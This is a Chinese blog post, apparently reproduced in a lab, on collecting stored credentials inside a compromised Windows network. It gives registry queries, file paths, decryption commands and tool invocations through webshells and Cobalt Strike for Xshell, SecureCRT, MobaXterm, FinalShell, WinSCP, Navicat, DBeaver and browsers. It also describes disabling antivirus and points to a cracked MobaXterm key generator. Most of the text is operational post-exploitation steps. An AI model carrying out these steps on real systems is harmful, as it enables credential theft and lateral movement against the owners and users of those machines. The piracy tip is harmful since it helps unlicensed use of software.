内网凭据收集

发布时间:2023年12月26日

对网上的文章进行了学习、复现以及细节完善

查看已安装软件信息

查看已安装程序,判断机器作用及价值,这种查询方式不靠谱,能获取到远程桌面的话,还是通过控制面板吧

WMI查询Win32_Product这种方式获取的已安装程序列表并不完整,因为这种方只能获取那些通过Windows Installer安装的程序,所以其它方式安装的程序就会无法获取。

wmic product get name,version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

更多方式,参见:https://mp.weixin.qq.com/s/CAEtoKe6ijO39xMVZPRKkw
无特殊说明,默认安装的是软件最新版。

0X1 运维开发

Xshell

Xshell目前主要有Xshell5、Xshell6、xshell7 三个版本,session文件分别保存在如下位置

  1. xshell 5:%userprofile%\Documents\NetSarang\Xshel\lSessions
  2. xshell 6:%userprofile%\Documents\NetSarang Computer6\XshellS\essions
  3. xshell7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions

Xftp 一样的,只是把路径中xshell改成xftp就行。
利用前提:存在记住密码的主机
image.png
image.png

使用SharpXDecrypt

测试发现,无论是否设置主控密码,均不受影响

利用工具:SharpXDecrypt https://github.com/JDArmy/SharpXDecrypt
Xshell全版本凭证一键恢复工具,针对Xshell全版本在本地保存的密码进行解密,包括最新的7系列版本!
通过Webshell运行时,360安全卫士拦截,360杀毒查杀。现在手动退出360。
image.png

  1. 使用Webshell

工具支持自动寻找session路径、指定session路径
image.png

  1. 使用CS

使用execute-assembly命令,你需要提供要执行的程序的路径。可以是本地文件系统的绝对路径,也可以是远程服务器上的文件路径。该命令将会在目标系统上启动指定的程序集,并执行其中的代码。

execute-assembly /path/to/SharpXDecrypt.exe
execute-assembly /path/to/SharpXDecrypt.exe  "C:\Users\asus\Documents\NetSarang Computer\7\Xshell\Sessions"

image.png

使用Ladon

测试发现,无论是否设置主控密码,均不受影响

image.png

SecureCRT

当前最新版 9.x 无法解密

下载与安装参见:https://blog.csdn.net/qq_39052513/article/details/100272502
利用前提时管理员登录时勾选了记住密码。
image.png
SecureCRT密码密码存放位置:%APPDATA%\VanDyke\Config\Sessions\
image.png
这里选中下载一个旧版本 8.0.4 :https://www.vandyke.com/download/prevreleases.html

加密说明

SecureCRT 7.3.3 之前的版本使用 password 加密算法,之后的版本使用 password v2 算法:

S:"Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
S:"Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

解密工具:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password

# 7.x 版本解密 [不带第一位 "u"]
SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc

# 8.x 版本解密 [不带前面三位 "02:"]
SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

解密

Ladon_10.10.4_20230501无法解密SecureCRT 8.x,7.x未测试

  1. 获取目标版本

命令:wmic product get name,version
image.png

  1. 寻找保存的密码
echo "%APPDATA%\VanDyke\Config\Sessions\"
dir C:\Users\Administrator\AppData\Roaming\VanDyke\Config\Sessions\
type C:\Users\Administrator\AppData\Roaming\VanDyke\Config\Sessions\192.168.229.128.ini | more

image.png

  1. 解密

image.png

Mobaxterm

MobaXterm连接信息默认全部加密存于注册表中,解密两种情况。
下载地址(包含历史版本)https://mobaxterm.mobatek.net/download-home-edition.html

官方提供了MobaXterm重置管理密码工具,但是会导致保存的密码丢失:https://mobaxterm.mobatek.net/resetmasterpassword.html

利用工具:https://github.com/HyperSine/how-does-MobaXterm-encrypt-password/tree/master

带管理密码的解密

利用前提:必须知道管理密码

此处测试的 MobaXterm(免费版) 为最新版 23.2,一旦想保存主机密码,该版本会强制你设置管理密码。
96.gif
使用微信截图翻译,看一下写的是个啥。这里就按默认设置保存吧。
image.png
攻击如下:
查询注册表中保存的密码信息【设置了管理密码,才会是下面那种格式】

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P

image.png
离线破解密码

.\MobaXtermCipher.py dec -p 123456789 46QIknBw

image.png

扩展(激活、汉化)

  1. 激活

github上能搜到破解的项目:https://github.com/malaohu/MobaXterm-GenKey

pip install --no-cache-dir -r requirements.txt
python app.py

image.png
生成的key直接放到软件目录即可!然后就会发现免费版变成专业版了
image.png

  1. 汉化

github上能找到:https://github.com/RipplePiam/MobaXterm-Chinese-Simplified
测试发现,解压出2个文件,这2个文件需要单独放置在一个文件夹中才行,运行exe就是中文的。
这种就风险未知了!
image.png

无管理密码的解密

此处测试的 MobaXterm 版本为 12.04 ,该版本不会强制你为连接设置管理密码。
免安装版失败
网上找了个下载地址,就当测试下非安装版的攻击效果了:https://www.52pojie.cn/thread-1088848-1-1.html
1.gif
结果尴尬,注册表没有写入账密,exe所在文件夹生成了一个配置文件,但是配置文件无法解密。
安装版成功
想办法下载个安装版:https://www.filehorse.com/download-mobaxterm/old-versions/page-2/

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P

image.png

# 格式
python .\MobaXtermCipher.py dec -sysh <主机名> -sysu <计算机用户名> -h <目标主机> -u <登录用户名> <加密后的密码>
# 举例
python .\MobaXtermCipher.py dec -sysh win2012-demo -sysu administrator -h 192.168.229.128 -u kali 3EYOBCiQgN3xI/E4jbtmdMZYVIkNhFR7

image.png

Finalshell

利用前提:用户登录时必须勾选记住密码

添加一个连接,然后我们就会在%userprofile%\AppData\Local\finalshell\conn下看到一个 json 文件,这个 json 文件有多少个,就相当于是建立了多少个连接。
image.png
image.png
把 json 文件保存下来,使用工具(JDK8):https://github.com/passer-W/FinalShell-Decoder
image.png

WinSCP

它把加密后的密码放在了注册表中
image.png

  1. 获取加密信息
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\admin@192.168.229.129"

image.png

  1. 解密

方式1:下载工具:https://github.com/anoopengineer/winscppasswd

# 格式
winscppasswd.exe <主机>  <用户名>  <加密密码>

# 举例:
winscppasswd.exe 192.168.229.129 admin A35C4051C12F2D49DE8273217C8B2F4A3A3D383135326D656E726D 6A64726E6E65726D6E653D383135326D6E6FAF95D4BD2E

image.png
方式2:下载工具:https://github.com/uknowsec/SharpDecryptPwd
它会自动查注册表并解密
image.png

0X2 数据库

Navicat

Navicat是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL、Oracle、PostgreSQL、SQLite、SQL Server、MariaDB和/或 MongoDB 等不同类型的数据库,并支持管理某些云数据库,例如阿里云、腾讯云。连接信息是存在注册表里面:

数据库注册表位置
MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
MicrosoftSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
OracleHKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLiteHKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
MongoDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\

这里就只测下用mysql举例子, 其他都一样

方式1:离线解密

https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/python3
首先查询 Navicat 注册表里的密码:

reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd

这种查询命令需要用powshell运行,可奇怪的是,Webshell中调用powshell,有的命令可以执行成功,有的命令执行失败(下图中,哥斯拉、冰蝎都可以查询powshell版本,但无法查询注册表)
image.png
然而在靶机上面,可以正常进行查询
image.png
所以只能在靶场上面演示了:
image.png
image.png

方式2:在线解密

Ladon_10.10.4_20230501无法解密Navicat 16,其他版本未测试

下载工具:https://github.com/uknowsec/SharpDecryptPwd
image.png

DBeaver

利用前提:用户登录时必须勾选记住密码

dbeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具。易用性是该项目的主要目标,是经过精心设计和开发的数据库管理工具。
image.png
密码是加密的,放在:%userprofile%\AppData\Roaming\DBeaverData\workspace6\General.dbeaver\credentials-config.json
image.png
离线解密:使用openssl解密,将credentials-config.json文件放入当前目录。
在data-sources.json中找到连接过的主机,套用解密出的密码即可。

openssl aes-128-cbc -d -K  babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in  credentials-config.json | dd bs=1 skip=16

image.png

0x3 浏览器

其他工具如:https://www.nirsoft.net/utils/web_browser_password.html
如果看针对具体浏览器的单独工具,参考链接中的文章可以看看。
这里使用:HackBrowserData 就足够了。

.\hack-browser.exe -b all -f json --dir results -zip
.\hack-browser.exe -b all -f csv --dir results -zip

如果是本地管理员,只能读取火狐的信息。需要是系统管理员才能读取所有的。
image.png

参考

地址1:内网渗透 | 最全的内网凭据密码收集方法和技巧总结
地址2:内网渗透 | 最全的内网凭据密码收集方法和技巧总结
内网渗透之常用工具密码获取技巧

文章来源:https://blog.csdn.net/weixin_44288604/article/details/135219538
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。